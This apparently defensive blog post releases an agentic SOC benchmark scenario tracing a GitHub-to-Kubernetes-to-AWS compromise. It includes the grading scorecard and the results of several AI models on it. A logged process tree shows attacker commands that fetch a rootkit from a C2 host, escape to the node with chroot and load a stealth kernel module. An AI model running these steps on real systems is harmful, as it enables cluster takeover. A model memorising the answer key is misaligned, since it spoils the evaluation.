A scenario to evaluate your Agentic SOC

Aug 27, 2026 - 20 min read

How confident are you that your agentic SOC will not fail you on ambiguous alerts? Measure it against a multi-plane attack chain, packaged as a downloadable dataset.

Is agentic SOC just a trend?

When a human analyst triages an alert, they will start by getting a grasp of the alerting event. Then, they will follow the threads of what happened afterwards, as well as what caused it. If the threads are not continuous, they form hypotheses and try to prove them. Upon walking back up to the initial access, they’ve built a single continuous thread: the attack timeline.

This investigation loop cannot be reduced to a playbook, and this is precisely why AI agents might have a chance here. Like humans, they can make non-deterministic decisions based on the singular data each case presents.

However, the term agentic SOC is used today to refer to several different types of systems. Some are even completely deterministic and involve no agents: those are the cheapest. They are also the ones that often bring the most disappointment to the community. In this article, we refer to this as a harness.

Over the past few months, quite a few interesting articles on agentic SOC harnesses have emerged. What they rarely address though is accuracy. For sure it is always nice to show off how cheap, fast or highly scalable your system is.

But will it hold when your company needs it the most?

To see for ourselves, we took on the challenge of building a reliable agentic SOC harness, dubbed Tengu 👺. Making it look like it works, especially on self-evident alerts, was the easy part. The leap is getting it to systematically produce an accurate report, grounded in all the available logs, no matter how innocuous the alert was.

Setting up a performance benchmark

To make sure Tengu improves from one release to the next, we measured not only disposition accuracy but also investigation accuracy, a layer below. Tengu should be right, but more importantly, right for the right reasons. And since the report drives the first response actions, the analysis underneath it has to be both complete and correct.

A dozen investigation scenarios, ranging from false positives to supply-chain compromises, insider threats or DPRK-aligned tradecraft, are submitted to Tengu at every new release. For each one of those scenarios, real dispositions are known and validation gates are defined at key findings or steps of the investigation, so that an independent grader model is able to reproducibly score every investigation.

We are releasing one that is particularly telling given how low off-the-shelf frontier models score on it. This is where your system should shine and show what sets it apart. The attack chain crosses multiple planes, and cannot be reconstructed without correlating all four log sources.

How we build these scenarios is a story for another article. They are played out for real, in a dedicated environment: the telemetry is genuine, though some indicators were anonymized.

The scenario: TheBiggerInterview

The scenario we are releasing is among our hardest scenarios, and is dubbed TheBiggerInterview. In short, a GitHub workflow vulnerability leads to a full Kubernetes cluster compromise, which in turn escalates to a full AWS account compromise. The entire attack is laid out below, phase by phase. You can hover over specific steps to understand each transition.

Open the attack progression diagram An A3 sheet, too dense to read on a phone

How the attacker advanced Seven phases. Hover one to frame it, click to keep it, and hover a step below to follow it across the sheet. Seven phases. Tap one to frame it on the diagram, which you can then drag around.
P1 CI/CD compromise Then held: Arbitrary code execution inside the org's CI Open on the sheet
1. 1 Open a malicious PR (fix/branch → dev) carrying attacker code
2. 2 Comment /lint — the bot command never checks the commenter's org membership
3. 3 lint-dispatch.yaml dispatches e2e.yaml on the dev ref, with the PR as an input
4. 4 e2e.yaml checks out the PR head and runs tests/init.sh
P2 Supply-chain poisoning Then held: A backdoored production container image Open on the sheet
1. 5 Write a backdoored app.py into the Actions cache — cache scope is the ref, and the run's ref was dev
2. 6 The trusted release job restores the poisoned app.py from cache
3. 7 Build executes on the in-cluster self-hosted runner
4. 8 Push the image with a backdoored entrypoint as ci-apps
P3 Tenant foothold Then held: Code execution in any pod scheduled to the node Open on the sheet
1. 9 app-1 pulls and runs the backdoored image
2. 10 In-memory beacon starts — plain Python running compiled bytecode fetched from the C2 with exec(): arbitrary file read, process env read, SOCKS proxy
3. 11 app-1's own env names the monitoring service — abuse its arbitrary file read to steal the monitoring-sa token
4. 12 Connect straight to worker node 1's kubelet with that token, then wait for an operator to start a node debug pod
5. 13 Exec into that node debug pod through the kubelet
P4 Node compromise Then held: Root on the unprivileged node group and kernel-level persistence Open on the sheet
1. 14 A node debug pod mounts the host filesystem at /host by design — chroot /host gives root on worker node 1
2. 15 Write the LKM + eBPF rootkit as a static pod to /host/etc/kubernetes/manifests and restart the kubelet to load it
3. 16 Rootkit harvests AWS credentials from the release-orchestrator job on the runner
4. 17 Push a backdoored orchestrator image with the stolen ci-orchestrator credentials
P5 Cross-tenant escalation Then held: cluster-admin, plus the ACK controller's IRSA role Open on the sheet
1. 18 The privileged tenant pulls the backdoored orchestrator image
2. 19 The backdoored pod opens the channel outbound and hands the cluster-admin orchestrator-sa token to an attacker-controlled endpoint
3. 20 Deploy rootkit + implant to every node as a DaemonSet — through the API server, not over the network
4. 21 Steal the ack-lambda-controller IRSA token from the node
P6 Cloud persistence Then held: Durable AWS access that survives cluster rebuild Open on the sheet
1. 22 Create ephemeral Lambdas — save-logging, iac-* — via PassRole onto a privileged role
2. 23 Use orchestrator-sa's cluster-admin to add a cross-account IAM user to aws-auth
3. 24 save-logging creates the durable save-logging-info implant and an hourly EventBridge rule, both named to sit beside the existing functions
4. 25 The rate(1 hour) rule invokes save-logging-info — the implant runs on a schedule, with no operator action
5. 26 iac-network peers the VPC and adds the routes; iac-rds and iac-eks open the RDS and EKS API security groups
P7 Exfiltration & impact Then held: Account credentials and both application databases Open on the sheet
1. 27 save-logging-info exfiltrates the harvested AWS admin credentials on every hourly run
2. 28 pg_dump both the app-1 and the app-2 database over the peered link

attacker-controlled / malicious
identity & effective permissions
impacted data store
attacker action, coloured by phase
tenant boundary that held
7 step, numbered by order of advance

In the dataset, the analyst gets all the standard telemetry covering each layer.

EDR telemetry (CrowdStrike) on the worker nodes.
AWS CloudTrail.
Kubernetes API server audit logs.
GitHub audit logs.

The alert

The chosen starting point for this investigation is the seemingly harmless alert below, pulled from a third-party detection ruleset we do not maintain. This event maps to an action taken by one of the attacker’s Lambdas at the very end of the chain.

# Context
Detection of a security rule deletion on the events.amazonaws.com service.

# Facts
Alert date: 2026-08-13 14:34:40 UTC
Source principal: arn:aws:sts::733437130048:assumed-role/admin/save-logging
Source IP: 13.38.84.140
Triggering action: DeleteRule

Validation gates

The validation gates are what allow the grader to score the investigation’s completeness. The report must unambiguously include those findings in order to score the points. Together they form a scorecard, and each scenario has its own. The scorecard for this investigation is given below, and the further into the investigation a gate is the more weight it has.

Validation gate	Weight
hard fail Disposition is True Positive	0%
P7 Lambda 2 + 3 + 6 / Credentials exfiltration mechanism	3%
P6 Lambda 1 / Malicious VPC peering	2%
P6 Lambda 4 + 5 / SG of RDS + EKS API server opened	2%
P6 All Lambda creations come from ack-lambda-controller identity	2%
P6 All API calls come from the controller Pod (Python entrypoint)	5%
P6 orchestrator-sa / Patch of aws-auth	5%
P5 orchestrator-sa / Deployment of the rootkit + implant as DaemonSet	5%
P5 orchestrator backdoored through CI runner credentials reuse	10%
P4 Deployment of rootkit + implant as Static Pod	10%
P3 monitoring-sa / Exec in existing node-debugger through kubelet API	8%
P3 app-1 / Arbitrary file-read exploited in monitoring to get monitoring-sa token	10%
P2 app-1 backdoored through GitHub cache poisoning	10%
P1 External msan actor ran workflow in dev context	8%
IOC f7ef3c5ebf20a7d42636b3da48dc4a67[.]gr7[.]eu-west-1[.]eks[.]amazonaws[.]com	5%
IOC stg-shared-postgres[.]cxw88k8aqlw9[.]eu-west-1[.]rds[.]amazonaws[.]com	10%
IOC Attacker AWS account 226363753890	5%
Total	100%

Each gate is scored only when the report states its finding unambiguously.

You will notice the disposition is weighted at 0%. That is because a wrong disposition is immediately a hard failure.

You will also notice the scorecard only measures recall. There is no point deduction for wrong claims. However, a good grader should be told to flag those against what it knows of the real scenario and also raise hard failures when it happens. The most common pitfall for this scenario is implicating the legitimate developer, who happened to perform debugging tasks around the time of the attack.

We found such wrong claims happen when the LLM does not find the real explanation and tries to fill gaps between the malicious bits it already holds. We suspect it also stems from training data: incident reports, where these techniques only ever appear in a malicious context. When the model sees the same techniques used legitimately, it takes the shortcut (e.g. in this scenario, the legitimate developer lists a container’s environment variables, debugs a malfunctioning node through a debug Pod, etc.).

But if we think about it, at the root are the same biases some human analysts also have.

How well do off-the-shelf agents perform?

As always, it is good to regularly check the newest frontier model capabilities as they become more and more intelligent on their own. Given that security investigations are increasingly run through coding agents like Cursor, Claude Code, or Codex, evaluating raw, unharnessed results is more relevant than ever.

We grabbed Cursor (note the system prompts are Cursor’s), briefly became “AI-augmented” analysts, and then simply asked several models if the alert in question was a false positive, a purposely biased question which a human analyst could have asked. Each model ran twice on that scenario in August 2026, and they were set up to query the SIEM over API. When the setting was available, effort was explicitly set to High. Here are their best results.

Validation gate	Weight	Opus 5 High	Sonnet 5 High	GPT-5.6 Sol High	GPT-5.6 Terra High	Gemini 3.1 Pro	Grok 4.6 High	Composer 2.5
hard fail Disposition is True Positive	0%	met	missed	missed	missed	met	missed	missed
P7 Lambda 2 + 3 + 6 / Credentials exfiltration mechanism	3%	met	missed	missed	missed	met	missed	missed
P6 Lambda 1 / Malicious VPC peering	2%	met	missed	missed	missed	missed	missed	missed
P6 Lambda 4 + 5 / SG of RDS + EKS API server opened	2%	met	missed	missed	missed	missed	missed	missed
P6 All Lambda creations come from ack-lambda-controller identity	2%	met	missed	missed	missed	missed	missed	missed
P6 All API calls come from the controller Pod (Python entrypoint)	5%	missed	missed	missed	missed	missed	missed	missed
P6 orchestrator-sa / Patch of aws-auth	5%	met	missed	missed	missed	missed	missed	missed
P5 orchestrator-sa / Deployment of the rootkit + implant as DaemonSet	5%	met	missed	missed	missed	missed	missed	missed
P5 orchestrator backdoored through CI runner credentials reuse	10%	missed	missed	missed	missed	missed	missed	missed
P4 Deployment of rootkit + implant as Static Pod	10%	missed	missed	missed	missed	missed	missed	missed
P3 monitoring-sa / Exec in existing node-debugger through kubelet API	8%	missed	missed	missed	missed	missed	missed	missed
P3 app-1 / Arbitrary file-read exploited in monitoring to get monitoring-sa token	10%	missed	missed	missed	missed	missed	missed	missed
P2 app-1 backdoored through GitHub cache poisoning	10%	missed	missed	missed	missed	missed	missed	missed
P1 External msan actor ran workflow in dev context	8%	missed	missed	missed	missed	missed	missed	missed
IOC f7ef3c5ebf20a7d42636b3da48dc4a67[.]gr7[.]eu-west-1[.]eks[.]amazonaws[.]com	5%	met	missed	missed	missed	missed	missed	missed
IOC stg-shared-postgres[.]cxw88k8aqlw9[.]eu-west-1[.]rds[.]amazonaws[.]com	10%	missed	missed	missed	missed	missed	missed	missed
IOC Attacker AWS account 226363753890	5%	met	missed	missed	missed	missed	missed	missed
Total score	100%	29%	0% hard fail	0% hard fail	0% hard fail	3%	0% hard fail	0% hard fail

Best of two runs each, August 2026.

Five of the seven models failed to assign the right disposition to this alert, grading it a False Positive or Benign Positive (i.e., detection works as intended, but turned out legitimate this time).

Surprising, and at the same time not so much. Some alerts are just downstream consequences of real attacks, and unveiling the truth sometimes means pivoting until we find the unambiguous malicious thread.

Claude Opus 5 was the model that went the furthest in the investigation. Digging into the details, we found it fell for exactly what we described earlier: it did not distinguish malicious from legitimate activities, and merged everything into the same narrative.

## Attack chain

<...>

08-11 14:41:24 admin/eks-admin @ 67.67.67.67
sts:GetCallerIdentity from aws-cli/2.34.13 on os/macos arm64
— only human client in the account

08-11 14:43:08 admin @ 67.67.67.67
kubectl/v1.31.4 (darwin/arm64)
— selfsubjectreviews — cluster permission probe

08-11 15:43:16 admin @ 67.67.67.67
Creates pod node-debugger-ip-10-249-137-30 (kubectldebug node)
— host namespace access

<...>

08-13 09:47:48 Kerberosse @ 67.67.67.67
Merges PR "feat(apps): Add S3 remediator"
— 20 min AFTER the infrastructure already existed

08-13 11:20:24–43 admin/eks-admin @ 67.67.67.67
PutRule s3-remediator-every-5min rate(5 minutes) + AddPermission + PutTargets

08-13 11:21:07 → admin/s3-remediator (Lambda)
Beacons s3:ListBuckets on the :07 second of every 5th minute,
continuously, as admin

<...>

Every event above is the legitimate developer. None of it is the attack.

Enter Tengu

Since general agents will not help us, we can show you how Tengu performed on this scenario by diving into the hardest gates, and how each finding was reported. It is not an apples-to-apples comparison with the above section, but we hope similar agentic SOC harnesses will also take the test, and the following results will allow them to compare.

Initial access through GitHub Actions cache poisoning

In the target repository of the fictitious YetAnother organization, non-organization actors are able to execute a bot command from a PR comment. This dispatches an e2e workflow whose job checks out the PR code, runs tests against it, and caches it only after every test passes.

However since the test logic is self-contained in the repository, a third-party can modify it to execute code in this job’s context, for instance to steal secrets. But that job’s context in particular does not have very interesting secrets: it’s just running tests. The primitive of interest though is cache writing in an arbitrary ref’s context. This way, any job pulling cached content from the same ref’s context would restore the malicious code, successfully compromising a more privileged job. The abused mechanism is restore-keys: a prefix match is enough, and the newest entry matching it wins.

CI/CD compromise and cache poisoning — steps 1–8 An A4 sheet, drawn at reading size

Jump to step Open the full sheet Drag or scroll inside the frame, or pick a step to be taken there.

Attack schema, steps 1 to 8. A horizontal trust boundary divides the page. Above it, an untrusted context: an unauthorized actor, holding a GitHub account with no org membership and no repository permissions, opens a pull request against the dev branch and comments slash lint. That triggers lint-dispatch.yaml on a GitHub-hosted ubuntu-latest runner, which performs no membership check on the commenter and dispatches e2e.yaml on the dev ref; e2e.yaml checks out the pull request head rather than the base and runs tests slash init.sh from the pull request, so attacker code executes in the dev ref's context. That run writes a poisoned app.py into the GitHub Actions cache under the key dev-sha. Cache scope is the ref, and this run's ref was dev, so an untrusted run wrote into the release branch's own cache scope. Below the boundary, a trusted release context: release-apps.yaml, triggered by a push to dev, restores the poisoned file through restore-keys — a prefix match is enough, and the newest entry matching it wins, with no check on which run produced it. The build executes on sh-runner, a self-hosted GitHub ARC pod inside the shared-production EKS cluster. The build bakes the backdoored entrypoint into app-1:latest and pushes it to ECR under the ci-apps IRSA identity, which holds ecr:PutImage on the app-1 and app-2 repositories.

Conveniently for the attacker, the e2e job runs on a GitHub-hosted runner, so they can smuggle their backdoor in the cache without fear of leaving much forensic residue. When the release job legitimately triggers, the backdoored code is pulled from the cache and simply baked into the built image. Almost no runtime telemetry of interest to work with.

Let’s see what Tengu reported for this phase.

## Initial Access

The earliest attacker-controlled code execution observable in the estate is
the GitHub pull-request chain of 2026-08-11 14:53–14:54:

- 14:53:01Z GitHub actor `msan` (actor_id 588221202, `actor_ip` 172.33.12.4,
**empty `external_identity_nameid`**, three events in its entire history)
pushed branch `fix/refactor-var-names`,
head `da482f405b5dbd4cc269107f1cb7e6e4d00e553c`, over SSH with
**`hashed_token v+gzqDRumYsOIMbzw3oKuq6fgCuibfQ+/L9ot9gzybE`**
(`programmatic_access_type` = Public Key (User/Deploy), `token_id` 0,
UA `git/2.50.1-Darwin`). It then opened PR #11 from the same address.

- 14:54:05Z the repository's own `lint-dispatch` automation posted
`POST /actions/workflows/328734032/dispatches` with `{"inputs":{"pr":"11"},
"ref":"dev"}`, and run **31504087333** (`e2e`, `event=workflow_dispatch`,
ref `dev`, inputs `pr=11`, **head_sha `cd4f6e5f`**, hosted runner
`GitHub Actions 1006207461`) ran PR #11's content **inside the
`refs/heads/dev` context** — dev secrets, dev environments, the shared job
scope. This run is the earliest malicious session in the whole chain.

- 14:54:46Z `msan` closed PR #11 unmerged, 41 seconds after that execution.
No `pull_request.merge` exists for `pull_request_id 4254290795`, and
commit `da482f40` was never checked out on any sensored in-cluster runner.

Tengu observed the malicious behaviour starting at container boot, with no inbound request that could explain it. That pointed to the image itself, so it pulled the provenance of the running artifact. In our case, the related push to app-1’s ECR repository was made by the legitimate CI runner, but the runtime telemetry showed an actions/cache restore between the code checkout and the build operation. Though this step is always present, the content of this cache at that particular moment actually depends on other jobs sharing the same ref, and Tengu specifically flagged that an e2e job ran in the same context a few minutes earlier, with untrusted code supplied by an external actor. That is suspicious, and the timing matches.

Lateral movement to the monitoring Pod

For the attacker, app-1’s ServiceAccount is a dead end since it only has a default projected token with effectively no RBAC. How did they elevate their privileges then? The first in-cluster malicious actions were indeed seen minutes later, from a token held by the monitoring-sa identity and projected into the running monitoring Pod.

Tenant foothold and token theft — steps 9–11 An A4 sheet, drawn at reading size

Jump to step Open the full sheet Drag or scroll inside the frame, or pick a step to be taken there.

Attack schema, steps 9 to 11, seen from the app-1 workload. At the top, ECR holds app-1:latest with the backdoored entrypoint; the tag is mutable and the pull policy is Always, so the next restart pulls it with no manifest change and no deploy. Step 9: app-1 pulls and runs that image inside the unprivileged tenant of the shared-production EKS cluster, where pod-to-pod traffic is unrestricted. Step 10: an in-memory beacon written in plain Python starts, executing compiled bytecode fetched from the C2 with exec(), which gives it arbitrary file read, process environment read and a SOCKS proxy; it opens an outbound channel to attacker infrastructure. Reading app-1's own process environment reveals the monitoring service endpoint, which is how the attacker knew what to target. Step 11: the beacon sends one HTTP request to the monitoring pod, whose handler resolves a caller-supplied path, giving an arbitrary file read; that read retrieves the projected service-account token from /var/run/secrets/kubernetes.io/serviceaccount/token, which presents as monitoring-sa, an identity holding get pods across all namespaces and get nodes/proxy. Beside it sits app-1-sa, the identity the attacker actually held, a default projected token with effectively no RBAC.

Several paths can be taken by an analyst to find out how this token was stolen, and the one that works here is following the route of an application-layer vulnerability being leveraged. Evidence for it is the scan of the monitoring application’s code, recorded by CrowdStrike under the event ScriptControlScanInfo, showing an (enormous) arbitrary file read vulnerability.

| id | _time | info1 | info2 | info3 | info4 |
|---|---|---|---|---|---|
| 4 | 08-11 15:19:31.904 | monitoring entrypoint (legitimate) | HTTP 200 served to 10.249.137.8:40600 | app-1 pod | `/logs?path=` arbitrary-file-read endpoint → SA token exfiltrated |
| 5 | 08-11 15:35:06→15:52:58 | `JTI=95eccf67` from 10.249.137.8 | replay of monitoring-sa token (get /, list pods cluster-wide) | API server | stolen credential in use from the wrong pod |

Again, Tengu managed to find the right explanation after ruling out the other candidate paths.

From Pod to node compromise

The monitoring-sa does have interesting privileges this time, including the infamous get on the nodes/proxy subresource, allowing the attacker to talk to the node’s kubelet directly. This is not the same as node-level access though, or at least not without a bit of help.

From a stolen token to node root — steps 12–15 An A4 sheet, drawn at reading size

Jump to step Open the full sheet Drag or scroll inside the frame, or pick a step to be taken there.

Attack schema, steps 12 to 15. Top left, inside the unprivileged tenant, monitoring-sa is the borrowed identity, holding get pods across all namespaces and get nodes/proxy; the app-1 beacon holds the token stolen in step 11 and opens a TLS connection to the kubelet itself. Step 12: the beacon connects directly to the kubelet on port 10250 — the apiserver is not in that path — crossing a horizontal trust boundary labelled pod to node, crossed by a permission rather than an exploit. The kubelet accepts the connection from the pod network, authenticates the bearer token and authorises the caller by asking the apiserver, then serves /exec on any pod on the node, unable to distinguish an operator's kubectl from the beacon. A grey side-call shows what the control plane actually sees: a TokenReview for authentication and a SubjectAccessReview for nodes/proxy on monitoring-sa for authorisation, both arriving under the kubelet's own identity rather than monitoring-sa's, with the exec itself never reaching the apiserver. Top right, an authorised SRE debugging session runs kubectl debug node/worker-1 for an unrelated investigation and creates the node debug pod — the one action on the page the attacker could not perform itself. Step 13 execs into that debug container, which runs in host PID and network namespaces. A second trust boundary labelled container to host sits inside the debug pod and is crossed by step 14: the pod mounts the node's root filesystem at /host by default, so chroot /host is simply root on the node. Step 15 writes through /host into /etc/kubernetes/manifests, the static pod directory, and on kubelet restart an LKM plus eBPF rootkit static pod is loaded — with no apiserver record of its creation, the loadable kernel module covering what eBPF alone cannot do.

Enter debug Pods! They are loved so much by platform teams, but they are a powerful tool which is a free escalation to the node for anyone able to reach them.

containerd-shim (node-debugger sandbox 61bef5af…, runc create 15:42:39.466Z)
└── 590eda97…  busybox  tail -f /dev/null      [pod created by admin/eks-admin …GJTLAP33]
    ├── runc exec --console-socket → /bin/sh  15:43:02  (API-server exec, auditID 155f1a68…)   [operator]
    ├── runc exec → wget 50-debug.conf                    15:48:39  (kubelet :10250 /exec/JRYTQc8D)  [attacker]
    ├── runc exec → wget 50-debug.conf --timeout=5         15:50:29  (/exec/Z2zkbMyy)               [attacker]
    ├── runc exec → chroot /host systemctl restart kubelet 15:52:13  (/exec/DMtUjHsw)               [attacker]
    ├── runc exec → wget k8s-node-diag.yaml → manifests/   15:54:12  (/exec/eQy9Oj3j)               [attacker]
    └── runc exec --console-socket → /bin/sh  16:37:19  (auditID 2121bfb7…)  [operator]
            └── cat /host/var/lib/kubelet/kubeconfig  16:38:41   (shell open ~41 h)

kubelet (static pod, no `create` API record)
└── 98d26622…  /bin/sh /tmp/setup.sh  15:54:19
    ├── curl -kfsS f7ef…/api/v1/diag/agent → /opt/diag/k8s-node-diag
    ├── curl -kfsS f7ef…/api/v1/diag/tools → /opt/diag/rk
    ├── /opt/diag/k8s-diagnostic          (0635abcf…)
    ├── /proc/self/fd/3 --interval 10s    (memfd, 783496906e…)
    └── /opt/diag/rk -delay 2s            (fccbbcd9…) → insmod vl_stealth_*.ko stealth=1

Note how Tengu distinguishes legitimate sessions from the malicious ones. It does not find the attacker actions by chance, or because it had searched for the right known-bad technique, but by pure methodology. Tengu does not work with playbooks.

Run it yourself

The dataset for this scenario is publicly available under this repository: https://github.com/Kerberosse/soc-dataset-thebiggerinterview

Raw logs are available under logs/* and can be directly ingested into the SIEM of your choice. Otherwise, you can use the included Dockerfile and instructions to build a local Splunk instance.

docker build -t splunk-lab .

docker run -d --name splunk-lab -p 8000:8000 \
  -e SPLUNK_START_ARGS='--accept-license --accept-sgt-current-at-splunk-com' \
  -e SPLUNK_GENERAL_TERMS='--accept-sgt-current-at-splunk-com' \
  -e SPLUNK_PASSWORD='ChooseAStrongPw1' \
  splunk-lab

Wire your agentic SOC to it, feed it the alert mentioned above, and assess its results against the validation gates.

You may use this dataset freely as long as it is not commercial. See LICENSE details in the repository.

Afterthoughts

Do not over-train on that specific scenario. Even better: roll out different scenarios over time, or take existing alerts as candidates if they are interesting, then derive the validation gates. This very scenario is now rotated out on our side.

There is no doubt that agentic AI revolutionizes the offensive space, both in scale and depth. Iteration is faster and novelty is cheaper. Meanwhile, defense has to leverage it now if it doesn’t want to be left behind in a comfortable past of tiered analysts, playbooks and procedures. We have always been late, and this might be a good time to change that.